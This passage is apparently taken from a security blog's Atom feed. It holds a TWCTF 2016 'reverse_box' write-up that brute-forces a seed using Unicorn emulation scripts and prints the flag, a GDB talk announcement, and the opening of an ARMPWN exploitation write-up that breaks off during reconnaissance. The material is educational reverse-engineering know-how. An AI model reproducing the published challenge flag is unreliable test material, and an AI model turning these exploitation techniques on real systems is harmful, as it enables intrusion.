&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.megabeets.net&#x2F;twctf-2016-reverse-reverse-box&#x2F;&quot;&gt;are plenty of&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ByteBandits&#x2F;writeups&#x2F;tree&#x2F;master&#x2F;mma-ctf-2016&#x2F;re&#x2F;reverse-box&#x2F;sudhackar&quot;&gt;writeups&lt;&#x2F;a&gt; for
it, but none of them used the technique I used to solve it in only a few
minutes. So I figured I could throw in my 50c and write this post.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;p&gt;The vulnerable file (sha1: &lt;code&gt;1e11da1636e4a6b71683de5c23634b98827d3b3d&lt;&#x2F;code&gt;) was given with the description:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;reverse_box ${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;FLAG&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we had to reverse the hash to determine the value of &lt;code&gt;${FLAG}&lt;&#x2F;code&gt; of this x32 binary.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; file .&#x2F;reverse_box
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;reverse_box:&lt;&#x2F;span&gt;&lt;span&gt; ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib&#x2F;ld-linux.so.2, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=5403acba0427c34695b1ebda8f0c678905b33456, stripped
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;static-analysis&quot;&gt;Static analysis&lt;&#x2F;h3&gt;
&lt;p&gt;Using &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;binary.ninja&quot;&gt;Binary-Ninja&lt;&#x2F;a&gt; disassembler, we can see that the
&lt;code&gt;main&lt;&#x2F;code&gt; function is not doing much, but something like&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;6B6g3Du.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;6B6g3Du.png&quot;

    

    
    title=&quot;binja-1&quot;
    alt=&quot;binja-1&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;fill_buffer&lt;&#x2F;span&gt;&lt;span&gt;(buffer[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;]);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;(i=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;; i&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;strlen&lt;&#x2F;span&gt;&lt;span&gt;(argv[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]); i++)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%02x&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, buffer[ argv[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;][i] ]);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;putchar&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So the interesting part is in &lt;code&gt;fill_buffer()&lt;&#x2F;code&gt;. It starts by selecting a random
int stored in &lt;code&gt;buffer[0]&lt;&#x2F;code&gt;. Then the rest of the function performs some
permutations and rotations on this buffer. This means that there is a finite
number (exactly 256) of possible configurations for the buffer used to generate
the hash.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;oPlPALo.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;oPlPALo.png&quot;

    

    
    title=&quot;binja-2&quot;
    alt=&quot;binja-2&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Since I was feeling lazy and didn’t want to reverse the whole thing, I decided to
use my tool &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; and
its &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;unicorn-engine.org&quot;&gt;Unicorn-Engine&lt;&#x2F;a&gt; command to brute-force the
initial random integer. We can do so because we know that the flag has to start
with &lt;code&gt;TWCTF{&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;dynamic-analysis&quot;&gt;Dynamic analysis&lt;&#x2F;h3&gt;
&lt;p&gt;It is possible to use &lt;code&gt;gef&lt;&#x2F;code&gt; to generate a fully working environment for
Unicorn-Engine to emulate anything. Here, all we need is to emulate from
0x80485b1 (where the random integer is generated) until 0x80486e0 (end of the
function &lt;code&gt;fill_buffer()&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  unicorn-emulate&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span&gt; 0x80485b1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span&gt; 0x80486e0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;tmp&#x2F;revbox.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Cannot copy page=0xf7fd4000-0xf7fd7000 : Cannot access memory at address 0xf7fd4000
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; Unicorn script generated as &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;tmp&#x2F;revbox.py&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You can then easily update the script to make it brute-force the correct value
for &lt;code&gt;eax&lt;&#x2F;code&gt; (i.e. the random integer), and let &lt;code&gt;unicorn&lt;&#x2F;code&gt; transform the buffer
(located in the stack at 0xffffd26c - which we know thanks to GDB).&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;emulate&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;eax&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    emu = unicorn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Uc&lt;&#x2F;span&gt;&lt;span&gt;(unicorn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UC_ARCH_X86&lt;&#x2F;span&gt;&lt;span&gt;, unicorn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UC_MODE_32 &lt;&#x2F;span&gt;&lt;span&gt;+ unicorn.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UC_MODE_LITTLE_ENDIAN&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    emu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;reg_write&lt;&#x2F;span&gt;&lt;span&gt;(unicorn.x86_const.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UC_X86_REG_EAX&lt;&#x2F;span&gt;&lt;span&gt;, eax)
&lt;&#x2F;span&gt;&lt;span&gt;    emu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;reg_write&lt;&#x2F;span&gt;&lt;span&gt;(unicorn.x86_const.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UC_X86_REG_EBX&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;    emu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;emu_start&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x80485b1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x80486e0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;find_init_randint&lt;&#x2F;span&gt;&lt;span&gt;():
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;256&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        emu = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;emulate&lt;&#x2F;span&gt;&lt;span&gt;(i)
&lt;&#x2F;span&gt;&lt;span&gt;        mem = emu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mem_read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xffffd26c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;mem[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;T&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)]==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x95 &lt;&#x2F;span&gt;&lt;span&gt;and mem[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ord&lt;&#x2F;span&gt;&lt;span&gt;(&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;W&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;)]==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xee&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;i
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;None
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Then run the script:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; py &#x2F;tmp&#x2F;revbox.py
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; init &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;randint&lt;&#x2F;span&gt;&lt;span&gt; is d6
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;It worked! Now we know the correct initial random integer, we can re-use the
&lt;code&gt;emulate()&lt;&#x2F;code&gt; with this value, and read the flag:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;emu = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;emulate&lt;&#x2F;span&gt;&lt;span&gt;(init)
&lt;&#x2F;span&gt;&lt;span&gt;c = emu.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;mem_read&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xffffd26c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x100&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;b = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(t)):
&lt;&#x2F;span&gt;&lt;span&gt;    j = c.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;find&lt;&#x2F;span&gt;&lt;span&gt;(t[i])
&lt;&#x2F;span&gt;&lt;span&gt;    b+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(j)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;print &lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;The flag is&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, b
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Wrap it all and:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; py &#x2F;tmp&#x2F;revbox.py
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; init &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;randint&lt;&#x2F;span&gt;&lt;span&gt; is d6
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;The&lt;&#x2F;span&gt;&lt;span&gt; flag is TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The entire &lt;code&gt;unicorn&lt;&#x2F;code&gt; script generated by &lt;code&gt;gef&lt;&#x2F;code&gt; can be
found &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;edb4bbbb63fde3a2a49ec52845b372c4&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This was quite fun to solve this challenge with this method, since it only took
a few minutes to adapt the
script generated by &lt;code&gt;gef&lt;&#x2F;code&gt; for Unicorn, and absolutely &lt;strong&gt;no&lt;&#x2F;strong&gt; knowledge of what
the function &lt;code&gt;fill_buffer()&lt;&#x2F;code&gt; was actually doing in terms of permutations and
stuff to get the flag. It made me realize again that Unicorn-Engine is an
awesome emulation framework.&lt;&#x2F;p&gt;
&lt;p&gt;Hope you enjoyed!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Ruxmon 08&#x2F;2016 - Making GDB great again</title>
        <published>2016-08-27T11:52:34+00:00</published>
        <updated>2016-08-27T11:52:34+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-08-27-ruxmon-16-making-gdb-great-again/"/>
        <id>https://blahcat.github.io/2016-08-27-ruxmon-16-making-gdb-great-again/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-08-27-ruxmon-16-making-gdb-great-again/">&lt;h3 id=&quot;ruxmon-august-2016-making-gdb-great-again&quot;&gt;Ruxmon August 2016: Making GDB great again&lt;&#x2F;h3&gt;
&lt;p&gt;I did a small presentation last Friday at &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20231209215029&#x2F;http:&#x2F;&#x2F;ruxmon.com&#x2F;melbourne&#x2F;&quot;&gt;Ruxmon Melbourne&lt;&#x2F;a&gt; about GDB, its Python API and how it can be used to make awesome new stuff.&lt;&#x2F;p&gt;
&lt;p&gt;I also gave demos of my tool &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;, an architecture-agnostic exploitation helper for GDB to show the awesomeness of &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;onlinedocs&#x2F;gdb&#x2F;Python-API.html&quot;&gt;Python API&lt;&#x2F;a&gt; for GDB.&lt;&#x2F;p&gt;
&lt;p&gt;Find the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;christophe.alladoum.free.fr&#x2F;public&#x2F;ruxmon-08-16&#x2F;ruxmon_2016-09_gdb_enhanced_features.pdf&quot;&gt;PDF slides here&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;And send me your insults&#x2F;feedbacks on &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20160303165817&#x2F;https:&#x2F;&#x2F;webchat.freenode.net&#x2F;?channels=##gef&quot;&gt;gef new IRC channel&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;jlkM0P6.jpg&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;jlkM0P6.jpg&quot;

    

    
    title=&quot;trump-meme&quot;
    alt=&quot;trump-meme&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>ARMPWN challenge write-up</title>
        <published>2016-06-13T12:21:05+00:00</published>
        <updated>2016-06-13T12:21:05+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-06-13-armpwn-challenge/"/>
        <id>https://blahcat.github.io/2016-06-13-armpwn-challenge/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-06-13-armpwn-challenge/">&lt;h1 id=&quot;info&quot;&gt;Info&lt;&#x2F;h1&gt;
&lt;p&gt;A few weeks ago, I came across a GitHub repository created by &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;5aelo&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@5aelo&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 for people wanting
to have a bit of ARM fun. I had recently spent some time adding new features and perfectionning old ones to
my exploit helper for GDB, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; and I saw
there a perfect practice case. On top of that, I had nothing better to do
yesterday ☺&lt;&#x2F;p&gt;
&lt;p&gt;This challenge was really fun, and made so much easier thanks to &lt;code&gt;gef&lt;&#x2F;code&gt; especially to
defeat real life protections (NX&#x2F;ASLR&#x2F;PIC&#x2F;Canary), and on a non-x86 architecture (Intel is so
’90). This is mostly why I’m doing this write-up, but feel curious and try it by
yourself. Fun time ahead  ☺&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;saelo&#x2F;armpwn&#x2F;blob&#x2F;master&#x2F;README.md#how-to-use-this-repository&quot;&gt;5aelo&lt;&#x2F;a&gt; suggests a few
approaches to tackle it, I decided to go “Total Pwn”, meaning discovering
everything about the binary. There is also links to Qemu images ready-to-use,
for people who don’t have (or don’t want to use) a RPI.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Challenge&lt;&#x2F;strong&gt;:
Try to go from anonymous access to remote code execution on the &lt;code&gt;websrv&lt;&#x2F;code&gt; process
running on a Raspberry-Pi &lt;code&gt;rpi2-1:80&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pi@rpi2-1 ~&lt;&#x2F;span&gt;&lt;span&gt; $ uname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -a
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Linux&lt;&#x2F;span&gt;&lt;span&gt; rpi2-1 4.4.11-v7+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;#888 SMP Mon May 23 20:10:33 BST 2016 armv7l GNU&#x2F;Linux
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;pi@rpi2-1 ~&lt;&#x2F;span&gt;&lt;span&gt; $ ss&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; -lntp
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;State&lt;&#x2F;span&gt;&lt;span&gt;       Recv-Q Send-Q          Local Address:Port                 Peer Address:Port
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LISTEN&lt;&#x2F;span&gt;&lt;span&gt;      0      0                           *:80                              *:*
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;LISTEN&lt;&#x2F;span&gt;&lt;span&gt;      0      0                           *:22                              *:*
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Let’s get it started!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;&#x2F;strong&gt;: since a solution to the challenge is available within the GitHub
repo, I don’t feel too bad publishing my own.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;web-application-attack&quot;&gt;Web Application attack&lt;&#x2F;h1&gt;
&lt;p&gt;Just like for a regular pentest, all we know here is that the port 80&#x2F;tcp is open,
and accessing to &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; redirect us to a page to turn on and off a LED (supposed
connected to the GPIO on our RaspberryPi). Not exactly fancy…
By sending a simple &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nmap.org&#x2F;ncat&quot;&gt;&lt;code&gt;ncat&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; request, things get suddenly more interesting:
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Zw0BH8c.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Zw0BH8c.png&quot;

    

    
    title=&quot;toadd&quot;
    alt=&quot;toadd&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Hint&lt;&#x2F;strong&gt;:&lt;&#x2F;em&gt; Other tools were tested and failed. The reason for that is that they
parse and resolve the URL &lt;em&gt;before&lt;&#x2F;em&gt; sending it. So if I try to fuzz
